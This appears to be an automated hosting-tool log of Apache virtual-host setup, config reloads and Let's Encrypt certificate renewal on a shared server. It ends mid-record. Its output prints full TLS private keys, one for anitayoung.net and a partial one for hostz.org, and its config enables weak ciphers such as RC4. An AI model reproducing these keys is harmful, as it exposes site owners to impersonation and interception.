CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:32:
PUT: /tmp/pkp853463
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi
2025-09-26 06:00:32:
chmod 755 /tmp/pkp853463; /tmp/pkp853463; rm /tmp/pkp853463
2025-09-26 06:00:32:
2025-09-26 06:00:32:
PUT: /tmp/pkp795399
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:00:32:
chmod 755 /tmp/pkp795399; /tmp/pkp795399; rm /tmp/pkp795399
2025-09-26 06:00:32:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:33:
PUT: /tmp/pkp300774
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:00:33:
chmod 755 /tmp/pkp300774; /tmp/pkp300774; rm /tmp/pkp300774
2025-09-26 06:00:33:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:00:33:
PUT: /tmp/pkp702685
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:33:
chmod 755 /tmp/pkp702685; /tmp/pkp702685; rm /tmp/pkp702685
2025-09-26 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 1192
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:33:
PUT: /tmp/pkp277455
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:33:
chmod 755 /tmp/pkp277455; /tmp/pkp277455; rm /tmp/pkp277455
2025-09-26 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt 5352
d2:ed:b6:d9:73:49:6f:ad:20:c0:11:43:37:66:6a:40
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUvS1B7cSxXtoT6sALw1b+byMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjAxWhcNMjUxMjI1MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALHcHeJt10Uhpet8s0lmLzFehpCTzwDW7ZnYy0eGUkRYxEOB7JvzE4FZFVLBpYKr
t+Mjn7GnX/SezM4SHIXxNbHriZi2mBiv6pRYsFMzfHxlzg31wWrAhAjJE71+hu9R
04KdcAHjL8cnfadEvztivqzZGPbWdztVpZhAu/kn41j7Kjs10eQVUzjeVw/kUp5/
nmi3l6WK0MoW0DuSYx1DP/GZO+Mx2OVTInZ9dBsonz0O64+F8VBQY8A5E3jTFoOe
S+VZXt+wSKzKArYYXOxf/aPVcLRlreu7+uCJv83wdZXTYxr5ufwIjY/8/II0bsXJ
PgwTKj4LzKvGX2rZ/YTnMyECAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUq86A/F2OwwbXzOtJafAyLG/WepcwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCkQsUG
SWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZmEm99GAAAEAwBGMEQCIGy7
H5Xiec5rfyeJv7bCM6hTQ8nEFTP5oGaAbW6Z0NGSAiAC5GaKDElnL5dM+9UTKGpT
mhljwl0KHmfCgVJpZcy3swB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+
TA2wAAABmYSb318AAAQDAEgwRgIhAPXSbHlUH0MjtRgq8W6KwpzXZfhiKTXcnPp8
3MRqOJVkAiEAqGDhwkDbCDHWvMXyrmdBVRd8yQXgMn9Xck+a8y3CdIowDQYJKoZI
hvcNAQELBQADggEBACYnXSyLRV7KQq7YD1o12LMHORycxhS4ugnlRbRkpqBvNL4O
Tnx/Vk2ktZMkn9C2nuu67cjxMFu3u1km9DJcER9XiBRz5MzgJ5E0FqFprwXlHhJP
2DPJ4jR/NaC7tYd0j1TCJ/tHOQVpLOB3RBhmwq7OEUjeu0S5Sn1rQBYTsQYskXY1
Vi7qVzk+7cfSVBnuwlZFip2jvo7M8UMDe0ZXPqh98RfJtHtpipduLAHYHtvIw+Su
obi9SaIh7MUoIU21g2Yt5p620CDCzE5ieyedoEDzMhFCYRr/WEKLIMl/6NMBA+Ae
gjNqGXTRq83aTkKW3Y8x0ZsMEJnoocDl5uXVzUU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCx3B3ibddFIaXr
fLNJZi8xXoaQk88A1u2Z2MtHhlJEWMRDgeyb8xOBWRVSwaWCq7fjI5+xp1/0nszO
EhyF8TWx64mYtpgYr+qUWLBTM3x8Zc4N9cFqwIQIyRO9fobvUdOCnXAB4y/HJ32n
RL87Yr6s2Rj21nc7VaWYQLv5J+NY+yo7NdHkFVM43lcP5FKef55ot5elitDKFtA7
kmMdQz/xmTvjMdjlUyJ2fXQbKJ89DuuPhfFQUGPAORN40xaDnkvlWV7fsEisygK2
GFzsX/2j1XC0Za3ru/rgib/N8HWV02Ma+bn8CI2P/PyCNG7FyT4MEyo+C8yrxl9q
2f2E5zMhAgMBAAECggEBAKUrcgE92iUUC1517pViNL9XNgX7jcgM0JgHsTeZ8LoR
6Sl79XwZr2p2jQvOU2LXDyz7fyje84hbFHzmauCkUSYKQzyzjOmYLHNZLV4GuTtY
25MxP05gu/zgptlaL/r9dTud8099aHg9Hz5/5EtE9yfTcJCCODW84sxSiX3nYgTV
pa08sND7XAOJ4R7354eddnHJiK7umqCJrKkAH1hwfw0WL3eRPcoOM9HLxYJcELzQ
xmNQ+lsj9M+wjZXWxB16EKbVev/uvVAzgczIDHlgR48CwXxR7mx8lXlHnQ4Sq8WW
osU0N+Xkdx4nxXrqN1ijxxG3Buov0o0NKk3TMcATOcECgYEA4mQftn38TLga8WzW
G8J6BWHnlNg/4PiQgEBqJt9m9x+UwUQwBh6b1kA337W4UPROc17kHSGeoCfgRwun
EtOvcmKEMnXanvkGPdNc3B41kcwn4gR2Sw2heyM7v+6ObVZUoL6My2W44bN4ui1/
qm20ccJUqwNoBF/PwpkfpzB4n2kCgYEAyR8Z2bTDay5s3trbNN80wSDkSIpfll/9
sNY8MVp1t0ATEpIds4SWtTBUeziQOzNfjAOPXmWcUPh1nWK8Dz7B403D8OJQD6i7
enu6orTVCJSzGniMhbLA13vMrNqimpe94s4RPQAqZAtleYTZPAskpx1nsWjOGmiX
t4EMgDPUNvkCgYEAsLBuI9LuL75coOJNtLqy2zKPOJcSO/YjaUVc09v2E5ddVP1v
8ca/35adRQchxGT4OYjsxmOv1tVocGqCyenW+5IyFOPwbbRzj5s/1TfqnVDWK8tJ
u8f2qRFVl7WLCYCgahht8G0Cv3yAE+ZgxlX6x/JgfFwbOZbBouI5VxY4fkkCgYEA
roFtzJgrdzQxAqyixp1lCK2hZc+qYK+pT2aTk78JpJbT9akSXFEO8uecZc4OV0+b
98CfBSjlGNx8MLMauZ+aW7994+R50xx0jzIMHmEI9wkO3kj6pIcVC+M/FDwgGkLP
X5utGWCrZ2L8CRRb6N1CUD4TWru1GPTnrzEpx5Mw7wECgYEAtMaSHFDAyal/WFe/
ZPCWyeJuPL+Cw5yP+UPI9BmVgWF565WP4We4XC2+GS8iYfbfD2k4GYV/vJj47sO8
M7vKFk/JDHQG7vdrzvXhp3NrrBqn46A1KpNhc2bie3K5dHRhVbVA1yQGa2VeE2x1
fs7uC1V/JCxGtA6o6oM5itw4wA0=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-26 06:00:33: Establishing a connection
2025-09-26 06:00:33: Establishing a connection
2025-09-26 06:00:33:
PUT: /tmp/pkp517631
#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:00:33:
chmod 755 /tmp/pkp517631; /tmp/pkp517631; rm /tmp/pkp517631
2025-09-26 06:00:33:
1
2025-09-26 06:00:34: Establishing a connection
2025-09-26 06:00:34:
PUT: /tmp/pkp598982
#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY
cat > eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y
2025-09-26 06:00:34:
chmod 755 /tmp/pkp598982; /tmp/pkp598982; rm /tmp/pkp598982
2025-09-26 06:00:34:
2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41:
PUT: /tmp/pkp552932
#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY
rm eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y
2025-09-26 06:00:41:
chmod 755 /tmp/pkp552932; /tmp/pkp552932; rm /tmp/pkp552932
2025-09-26 06:00:41:
2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41:
PUT: /tmp/pkp665575
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt
cat > $temp_file <<'endmsg'
44:b1:1c:ca:e7:f2:3c:63:29:71:41:d3:fd:9f:9a:33
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBfKOFCWWpxyCl18eOpTTlT+KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMjA5WhcNMjUxMjI1MDUwMjA4WjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcHX6a
xF65GUx5by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpn
wQDb8bjvh1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKp
FT/oHlBy3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S
7iI0oO8SWfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED
96iNr/Qp9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWl
yMQ7z2cUhguDLIrnAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLY0LGt+Db9o9IBvgSR5j351HFTfMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZhJwAwgAABAMARzBF
AiEAgCjiP0LEfpJY3jgNY9ZXnD4rO4dEnQriuHyc5BSJP1oCICN2SmskJ9TAMeTC
lRaKS5kFl2M45cYYFqJFmU2KU+KjAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxt
MAWE6+WGJjoAAAGZhJwAxQAABAMARzBFAiByskBe5/rsqYwEpZQ6s759EgiGGTOJ
4yarpR1W+TLnEAIhAK1Fk4Hr/sn3nmT23fZUbVXltJbW3/d6S0ZQDUyWyBLnMA0G
CSqGSIb3DQEBCwUAA4IBAQAuVnjW1WjXo1FdBDzHhPYAnwd6uc0HhBSZRrVLsFaI
n7wb5DfcSBtALPSL+ZCMzcFTl7EuHVyPORM3gqioBUpIx6SO3yVVYhzaBGMMB+y4
TMLWD5MeH8IKX2ZWV7f1GtXu/c+fP1modZMzXCNzLv+YaWIi/MVgXLCjOzy8pRAJ
0t9aXyp8pdjJV6tfVc4sSWH+vbmBcpplhZQlSwUp7FGgDIuFbHzOSOKa5Svacjkt
WWS563jYsF9SvCQqjdEFRkvLL3R46Jd8LaBmaTHIE8ZLE/Wc/hrW3PGBx4B1sek6
Lv7rbNPZ83kFR98yss+kbkfzxO4f1rVw5qu7GzbnMNkl
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcHX6axF65GUx5
by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpnwQDb8bjv
h1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKpFT/oHlBy
3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S7iI0oO8S
WfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED96iNr/Qp
9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWlyMQ7z2cU
hguDLIrnAgMBAAECggEAPF/6sgja0nqV91j/lCXj2GGbH4q2sQeGnEKTkiYOgeBI
xD4z19ONoc9FhG9Btc7agj46m2rdCXcr+sdsDjmdJX9pKWf2doC0HB2CxT3x0Fgi
